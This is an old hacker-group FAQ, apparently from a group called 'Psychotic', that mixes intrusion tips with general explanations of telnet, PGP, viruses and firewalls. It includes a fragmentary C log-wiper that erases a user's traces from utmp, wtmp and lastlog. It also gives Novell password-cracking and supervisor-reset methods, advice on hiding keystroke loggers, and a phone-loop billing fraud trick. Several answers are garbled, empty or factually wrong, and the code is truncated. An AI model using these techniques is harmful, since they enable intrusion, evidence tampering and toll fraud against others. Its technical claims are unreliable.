Q. What is hacking?

A. Hacking is the art of breaking into computers to gain knowledge that our
society has hidden from us. Hacking is illegal and the government spend lots
of money each year to have hackers arrested.....when they should be spending
the money on more important issues.

Q. What is a shadowed password?

A. A shadowed password is a cover for the real password file. It shows that
the real password is hidden somewhere else.

Q. How do I crack shadowed passwords?

A. Cracking a shadowed password file is impossible. Assuming that you got
the password file via anonymous ftp. You should try connecting to port 25
and doing the sendmail bug.

Q. What is the difference between an encrypted password and a shadowed
password?

A. An encrypted password is just the real password scrambled and changed.
It can be cracked with a password cracked and a word file. A shadowed
password hides the encrypted password somewhere else other than the etc.
dir.

Q. 	Where can I find the password file if it's shadowed?

A. Unix                  Path                            Token

Q. Where is the password file located?

A. The password file is located in the etc/passwd dir. You can get into the
etc dir by logging on to the domain via anonymous ftp.

Q. What is an exploit?

A. An exploit is something that exploits unix or another kind of OS. You
usually use exploits to gain root or high access to a system. They can prove
to be very handy.

Q. What are some basic telnet commands?

A. Below is a list of common telnet commands.

Command                                                          Function

access						Telnet account
c						Connect to a host
cont						Continue
d						Disconnect
full						Network echo
half						Terminal echo
hangup						Hangs up
mail						Mail
set						Select PAD parameters
stat						Show network port.
telemail						Mail

Q. 	How do I get out of the log file?

A. Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.
Example:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
 
int f;
 
void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;
 
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
        while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                          bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                          lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                          write (f, &utmp_ent, sizeof (utmp_ent));
                  }
        close(f);
  }
}
 
void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;
 
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
 
        while(pos != -1L) {
           lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
           if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
                pos = -1L;
           } else {
                if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                        bzero((char *)&utmp_ent,sizeof(struct utmp ));
                        lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
                        write (f, &utmp_ent, sizeof (utmp_ent));
                        pos = -1L;
                } else pos += 1L;
           }
        }
        close(f);
  }
}
 
void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;
 
        if ((pwd=getpwnam(who))!=NULL) {
 
           if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
                  lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
                  bzero((char *)&newll,sizeof( newll ));
                  write(f, (char *)&newll, sizeof( newll ));
                  close(f);
           }
 
    } else printf("%s: ?\n",who);
}

           kill_utmp(argv[1]);
           printf("Zap2!\n");
    } else
    printf("Error.\n");
}

Q. What is DNIC?

A. A DNIS says which network connect to the telnet you are using.

Q. What is NUA?

A. 	The NUA is the address of the computer on telnet.

Q. 	What is a VAX/VMS?

A. 	A vax/vms is Digital Equipment's major computer line. It's
proprietary operating system is known as vms.

Q. 	What is telnet?

A. Telnet is a program which lets you log in to other computers on the net.

Q. 	What is an anonymous remailer?

A. An anonymous remailer is a system on the Internet that allows you to
send e-mail anonymously or post messages to Usenet anonymously. You apply
for an anonymous ID at the remailer site. Then, when you send a message to
the remailer, it sends it out from your anonymous ID at the remailer. No one
reading the post will know your real account name or host name. If someone
sends a message to your anonymous ID, it will be forwarded to your real
account by the remailer.

Q. 	What is PGP?

A. This FAQ answer is excerpted from:
PGP(tm) User's Guide Volume I: Essential Topics by Philip Zimmermann
PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure channels
needed for prior exchange of keys. PGP is well featured and fast, with
sophisticated key management, digital signatures, data compression, and good
ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high
security cryptographic software application for MS-DOS, Unix, VAX/VMS, and
other computers. PGP allows people toexchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography. PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomicdesign, and sophisticated key management. And PGP performs the public-key
functions faster than most other software implementations. PGP is public
key cryptography for the masses.

Q. 	What is tcp/ip?

A. Tcp/ip is the system networks use to communicate with each other. It
stands for Transmission Control Protocol/Internet Protocol.

Q. What is a virus?

A. 	A Virus is a program which reproduces itself. It may attach itself
to other programs, it may create copies of itself. It may damage or corrupt
data, change data, or degrade the performance of your system by utilizing
resources such as memory or disk space. Some Viruse scanners detect some
Viruses. No Virus scanners detect all Viruses. Virus scanners will work
for a while but people are always creating virii that will beat them.

Q. 	What is a trojan?

A. 	A trojan is a program which does an unauthorized function, hidden
inside an authorized program. It does something other than it claims to do,
usually something malicious, and it is intended by the author to do whatever
it does. If it is not intentional, it is called a bug.

Q. 	What is a worm?

A. 	Worms are programsthat copy themselves over and over using up space
and slowing down the system. They are self contained and use the networks
to spread, in much the same way that Viruses use files to spread. Some
people say the solution to Viruses and worms is to just not have any files
or networks.


Q. 	What do I need to become a hacker?

A. 	You should start off with a good scanner, some dialups, a telnet
client, and some knowladge of hacking. Those are the basic things that you
will need. If you are serious about hacking then you should get Unix, or
Linux(smaller, free version of unix).

Q. 	What are some common accounts for Novell Netware?

A.   Below is a list of commonly used accounts for Novell Netware.

Q. 	How can I gain supervisor access to Novell Netware?

A. Taken from the Novell Netware FAQ.
The secret method is the method of using a DOS-based sector editor to edit the
entry in the FAT, and reset the bindery to default upon server reboot. This gives
you Supervisor and Guest with no passwords. The method was taught in case you 
lost Supervisor on a Netware 2.15 server and you had no supe equivalent accounts
created. It also saves the server from a wipe and reboot in case the
Supervisor account is corrupt, deleted, or trashed.


Q. 	How do I access the password file for Novell?

A. access to the password file in Netware is not like Unix - the password
file isn't in the open. All objects and their properties are kept in the
bindery files on 2.x and 3.x, and kept in the NDS database in 4.x. An
example of an object might be a printer, a group, an individual's account
etc. An example of an object's properties might include an account's
password or full user name, or a group's member list or full name. The
bindery files attributes (or flags) in 2.x and 3.x are Hidden and System,
and these files are located on the SYS: volume in the SYSTEM subdirectory.
Their names are as follows:

        Netware version         File Names
        ---------------         ----------
        2.x                     NET$BIND.SYS, NET$BVAL.SYS
        3.x                     NET$OBJ.SYS, NET$PROP.SYS, NET$VAL.SYS

The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually located
in 2.x and 3.x respectively.


Q. 	How do I crack a Novell password?

A. 	Taken from the Novell Netware Hack FAQ.

If Intruder Detection is off, you can use a "brute force" password cracker.

Encrypted passwords is Novell's way of protecting passwords from sniffers.
Since older versions of Netware (2.15c) sent passwords as plain text over the
wire, a sniffer could see the password as it went by. To secure things,
Novell gave the administrator a way to control this. Later versions of the
LOGIN.EXE program would encrypt the password before transmitting it across
the wire to the server. But before this could happen, the shell (NETX) had
to be updated. Since some locations had to have older shells and older
versions of LOGIN.EXE to support older equipment, the administrator has the
option of allowing unencrypted passwords to access the server. This is done
by typing SET ALLOW UNENCRYPTED PASSWORDS=ON at the console or by adding it
to the AUTOEXEC.NCF. The default is OFF, which means NOVELBFH could be beeping
the server console every attempt! Fortunately most sites turn this switch on
to support some old device.

If you have access to the console, either by standing in front of it or by
RCONSOLE, you can use SETSPASS.NLM, SETSPWD.NLM or SETPWD.NLM to reset
passwords. Just load the NLM and pass it command line parameters:

        NLM             Account(s) reset        Netware version(s) supported
        ------------    -----------------       ----------------------------
        SETSPASS.NLM    SUPERVISOR              3.x
        SETSPWD.NLM     SUPERVISOR              3.x, 4.x
        SETPWD.NLM      any valid account       3.x, 4.x

If you can plant a password catcher or keystroke reader, you can get them
this way. The LOGIN.EXE file is located in the SYS:LOGIN directory, and
normally you will not have access to put a file in that directory. The best
place to put a keystroke capture program is in the workstation's path, with
the ATTRIB set as hidden. The advantage is that you'll get the password and
Netware won't know you swiped it. The disadvantage is getting access to the
machine to do this. The very best place to put one of these capture programs
is on a common machine, like a pcAnywhere box, which is used for remote access.
Many locations will allow pcAnywhere access to a machine with virtually no 
software on it, and control security access to the LAN by using Netware's 
security features. Uploading a keystroke capture program to a machine like 
this defeats this.

Q. 	How do I make a box?

A. 	Each box has a sepperate plan to set it up. Just do a netsearch for
phreaking or boxes and you can find all the plans you need.

Q. 	What is a loop?

A. This FAQ answer is excerpted from:
ToneLoc v0.99 User Manual by Minor Threat & Mucho Maas
Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 
836-9999. They are used by the phone company for testing. What good do 
loops do us? Well, they are cool in a few ways. Here is a simple use of 
loops. Each loop has two ends, a 'high' end, and a 'low' end. One end gives
a (usually) constant, loud tone when it is called. The other end is silent.
Loops don't usually ring either. When BOTH ends are called, the people that 
called each end can talk through the loop.  Some loops are voice filtered 
and won't pass anything but a constant tone; these aren't much use to you. 
Here's what you can use working loops for: billing phone calls! First, call 
the end that gives the loud tone. Then if the operator or someone calls the 
other end, the tone will go quiet. Act like the phone just rang and you 
answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. 
The operator thinks that she just called you, and that's it! Now the phone 
bill will go to the loop, and your local RBOC will get the bill! Use this 
technique in moderation, or the loop may go down. Loops are probably most 
useful when you want to talk to someone to whom you don't want to give your 
phone number.

Q. 	How do I set up an anonymous FTP?

A. Taken from the Internet Security Systems, Inc. text on setting up an anonymous ftp.
- 1.Build a statically linked version of ftpd and put it in ~ftp/bin. Make sure it's owned by root. 
     - 2.Build a statically linked version of /bin/ls if you'll need one. Put it in ~ftp/bin. 
     If you are on a Sun, and need to build one, there's a ported version of
     the BSD net2 ls command for SunOs
     on ftp.tis.com: pub/firewalls/toolkit/patches/ls.tar.Z Make sure it's owned by root. 
     - 3.Chown ~ftp to root and make it mode 755 THIS IS VERY IMPORTANT 
    -  4.Set up copies of ~ftp/etc/passwd and ~ftp/etc/group just as you would normally, EXCEPT
     make 'ftp's home directory '/' -- make sure they are owned by root. 
    -  5.Write a wrapper to kick ftpd off and install it in /etc/inetd.conf The wrapper should look
     something like: (assuming ~ftp = /var/ftp) 
     main()

     {

     if(chdir("/var/ftp")) {

             perror("chdir /var/ftp");

             exit(1);

     }

     if(chroot("/var/ftp")) {

             perror("chroot /var/ftp");

             exit(1);

     }

     /* optional: seteuid(FTPUID); */

     execl("/bin/ftpd","ftpd","-l",(char *)0);

     perror("exec /bin/ftpd");

     exit(1);

     }
     Options: 
     You can use 'netacl' from the toolkit or tcp_wrappers to achieve the same effect. 
     We use 'netacl' to switch so that a few machines that connect to the FTP service *don't* get
     chrooted first. This makes transferring files a bit less painful. 
     You may also wish to take your ftpd sources and find all the places where it calls seteuid()
     and remove them, then have the wrapper do a setuid(ftp) right before the exec. This means
     that if someone knows a hole that makes them "root" they still won't be. Relax and imagine
     how frustrated they will be. 
     If you're hacking ftpd sources, I suggest you turn off a bunch of the options in ftpcmd.y by
     unsetting the "implemented" flag in ftpcmd.y. This is only practical if your FTP area is
     read-only. 
-   6.As usual, make a pass through the FTP area and make sure that the files are in correct modes
     and that there's nothing else in there that can be executed. 
-   7.Note, now, that your FTP area's /etc/passwd is totally separated from your real /etc/passwd.
     This has advantages and disadvantages. 
-    8.Some stuff may break, like syslog, since there is no /dev/log. Either build a version of ftpd
     with a UDP-based syslog() routine or run a second syslogd based on the BSD Net2 code,
     that maintains a unix-domain socket named ~ftp/dev/log with the -p flag.

Q. 	What are some ways I can secure a network?

A. 	Taken from the Internet Security Systems text on securing a network.
1. Well first of all you should know what type of resources that you're
     trying to protect: CPU, files, storage devices phone lines, etc... 
 2. Determine the host-specific security measures needed. Password
     protection, file encryption, firewall, etc...
     Determine who the computer systems must be defended. 
     Determine the likelihood of a threat. 
     Implement measures to protect network resource. 

3. Consider the corporate budget when planning for Internet Security.

4. Design a Security Policy that describes your organization's network
security concerns. This policy should take into account the following:

     Network Security Planning 
     Site Security Policy 
     Risk Analysis 
     Risk analysis involves determining the following:
          What you need to protect 
          What you need to protect it from 
          How to protect it 
          Estimating the risk of losing the resource 
          Estimating the importance of the resource 

5. Consider the following factors to determine who will grant access to
services on your networks:
     Will access to services be granted from a central point? 
     What methods will you use to create accounts and terminate access? 

6. Design and Implement Packet Filter Rules

7. Ensure your Firewall has the following properties:
     All traffic from inside to outside, as well as outside to inside must
     pass through the firewall. 
     Allow only authorized traffic as defined by your corporate security
     policy be passed through the firewall. 
     Ensure the firewall is immune to penetration. 

8. Educate users about password protection:
     Educating users not to use passwords that are easy to guess. 
     Ensuring the password lengths are adequate. 
     Running a password guesser. 
     Requiring the use of a password generator. 
     Always using a mixture of upper- and lowercase characters. 
     Always using at least one or two non-alphanumeric characters. 
     Never using dictionary words or ones spelled backwards. 
     Never using a portion or variation of a proper name, address or anything that
     could obviously identify you (the user). 

9. Security-related organizations play an integral role in the development
and deployment of Internet technologies. Keep abreast of the latest in
security-related activities by visiting their Web sites. Here are some key
security-rated organizations which aid corporations such as yours in keeping
the Internet a safer place to compute:

Q. 	What is a firewall?

A. A firewall is a system or group of systems that enforces an access control policy between two networks. The 
actual means by which this is accomplished varies widely, but in principle, 
the firewall can be thought of as a pair of mechanisms: one which exists to 
block traffic, and the other which exists to permit traffic. Some firewalls 
place a greater emphasis on blocking traffic, while others emphasize 
permitting traffic. Probably the most important thing to recognize about a 
firewall is that it implements an access control policy. If you don't have 
a good idea what kind of access you want to permit or deny, or you simply 
permit someone or some product to configure a firewall based on what they 
or it think it should do, then they are making policy for your organization 
as a whole.


Q. 	How can I use PGP to benefit me?

A. PGP is easy to use, it does give you enough rope so that you can hang
yourself. You should become thoroughly familiar with the various options in
PGP before using it to send serious messages. For example, giving the
command pgp -sat <filename> will only sign a message, it will not encrypt it.
Even though the output looks like it is encrypted, it really isn't. Anybody
in the world would be able to recover the original text.

Q. 	What is a sniffer?

A. 	Taken from the Sniffer FAQ.
Unlike telephone circuits, computer networks are shared communication
channels. It is simply too expensive to dedicate local loops to the switch
(hub) for each pair of communicating computers. Sharing means that
computers can receive information that was intended for other machines.
To capture the information going over the network is called sniffing.

The most popular way of connecting computers is through ethernet.
Ethernet protocol works by sending packet information to all the
hosts on the same circuit. The packet header contains the proper
address of the destination machine. Only the machine with the matching
address is suppose to accept the packet. A machine that is accepting all
packets, no matter what the packet header says, is said to be in
promiscuous mode.

Because, in a normal networking environment, account and password information is passed along
ethernet in clear-text, it is not hard for an intruder once they obtain
root to put a machine into promiscuous mode and by sniffing, compromise all
the machines on the net.


Q. 	What is Psychotic?

A. I would describe Psychotic as more of a proffessional group rather than
just a hacking clan. We think about money first and hacking second, even
though I'm sure that most of you have seen a few of our hacking projects...

Q. 	Is psychotic looking for new members?

A. Well as of now we aren't looking for any additions to our staff.

Q. 	What is Psychosis?

A. Psychosis is a personal project taken up by Virtual Circuit. It's an
award that he gives out to hackers that have done something to stand out
(good webpage, revealed exploits, etc.). If you think that you should
receive the award you can mail him about it.  But I can tell you now that
the award isn't easy to get.

Q. 	Where can I find some good resources on hacking and phreaking?

A. 	Well we aren't much for links but you should check the Psychosis
page for his webpage award winners. He picks only the best.

Q. 	Who are all the members in Psychotic?

A.      Most of us would like to stay anonymous.  But you will see a members
name every now and then.

Q.      What is the Psychotic Tech Lab?

A.      Since Psychotics break up in April we were short on releasing our
zine so the new and improved Psychotic has added a few issues to the old
zine and now its out in the public.  You can find it on many sites.

Q. 	What are Psychotic's offered services?

A.      Psychotic has many different services but as of now we are getting
re-organized and putting our network together.  We will discuss our services
in the next version of the Psychotic FAQ.
